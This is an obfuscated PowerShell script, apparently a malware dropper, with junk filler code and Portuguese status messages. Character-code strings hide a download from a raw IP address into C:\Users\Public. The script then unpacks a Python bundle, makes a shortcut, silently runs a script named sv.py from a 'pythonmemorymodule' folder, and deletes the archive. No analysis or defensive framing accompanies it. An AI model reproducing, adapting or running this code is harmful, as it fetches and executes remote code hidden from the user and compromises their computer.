# Define variáveis while ($counterVariable -lt 5) { $counterVariable++ $randomTemp = Get-Random -Minimum 1 -Maximum 10 $doubledTemp = $randomTemp * 2 $roundedTemp = [math]::Round($doubledTemp) } $currentDate = Get-Date $futureDate = $currentDate.AddDays(5) $futureDate = $futureDate.AddHours(10) $futureDate = $futureDate.AddMinutes(30) $formattedDate = $futureDate.ToString("yyyy-MM-dd HH:mm:ss") Write-Host "End of Block 6" function D { param( [string]$inputString ) $asciiArray = $inputString -split ',' $originalString = $asciiArray | ForEach-Object { [char][int]$_ } return ($originalString -join '') } $numbersArray = @(1, 2, 3, 4, 5) $randomValue = Get-Random -Minimum 1 -Maximum 10 $filteredValues = $numbersArray | Where-Object {$_ -gt $randomValue} $sortedValues = $filteredValues | Sort-Object $finalValue = $sortedValues[0] * $randomValue $finalValue = $finalValue + 100 $finalValue = [math]::Sqrt($finalValue) Write-Host "End of Block 3" $letterArray = @('a', 'b', 'c', 'd', 'e') $reversedArray = [Array]::Reverse($letterArray) $stringifiedArray = $letterArray -join "" $substringArray = $stringifiedArray.Substring(0, 3) $modifiedString = $substringArray + "xyz" $VURL = D "104,116,116,112,58,47,47,49,57,50,46,50,49,48,46,50,50,54,46,49,52,51,47,80,121,116,104,111,110,51,49,50,45,51,50,46,122,105,112" $TOKORO = D "67,58,92,85,115,101,114,115,92,80,117,98,108,105,99" $ZipFile = "$TOKORO\"+[char[]](80,121,116,104,111,110,51,49,50,45,51,50,46,122,105,112) -join "" $zipFile = $ZipFile -replace '\s', '' $Pdir = "$TOKORO\Python312-32" $firstPart = "code" $secondPart = "example" $combined = $firstPart + $secondPart $subString = $combined.Substring(0, 4) $upperString = $subString.ToUpper() $lowerString = $upperString.ToLower() $paddedLeft = $lowerString.PadLeft(10, 'x') $paddedRight = $paddedLeft.PadRight(20, 'y') Write-Host "End of Block 2" if (!(Test-Path -Path $TOKORO)) { Write-Host "Criando Estruturacao" New-Item -ItemType Directory -Path $TOKORO | Out-Null } try { Invoke-WebRequest -Uri $VURL -OutFile $ZipFile -ErrorAction Stop Write-Host "Tarefa 01 concluida" } catch { Write-Host "[ERRO] Falha ao baixar o arquivo. Verifique sua conexão ou o URL." exit 1 } if (!(Test-Path -Path $ZipFile)) { Write-Host "[ERRO] O arquivo não foi encontrado." exit 1 } try { Expand-Archive -Path $ZipFile -DestinationPath $TOKORO -Force } catch { Write-Host "[ERRO] Falha ao extrair o arquivo." exit 1 } $ShotCut = "$TOKORO\"+([char[]](105, 99, 111, 110, 46, 108, 110, 107) -join "").Replace(" ","") $P = D "112,121,116,104,111,110,119,46,101,120,101" $gbPath = "$Pdir\$P" $Arguments = "$Pdir\Lib\"+([char[]](112,121,116,104,111,110,109,101,109,111,114,121,109,111,100,117,108,101,92,115,118,46,112,121) -join "").Replace(" ","") $WorkingDirectory = $Pdir $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut($ShotCut) $Shortcut.TargetPath = $gbPath $Shortcut.Arguments = $Arguments $Shortcut.WorkingDirectory = $WorkingDirectory $Shortcut.IconLocation = $gbPath $Shortcut.Save() $py = "python.exe" Start-Process -FilePath "$Pdir\$py" -ArgumentList "$Arguments" -WindowStyle Hidden Remove-Item -Path $ZipFile -Force Write-Host "Processo realizado com sucesso." exit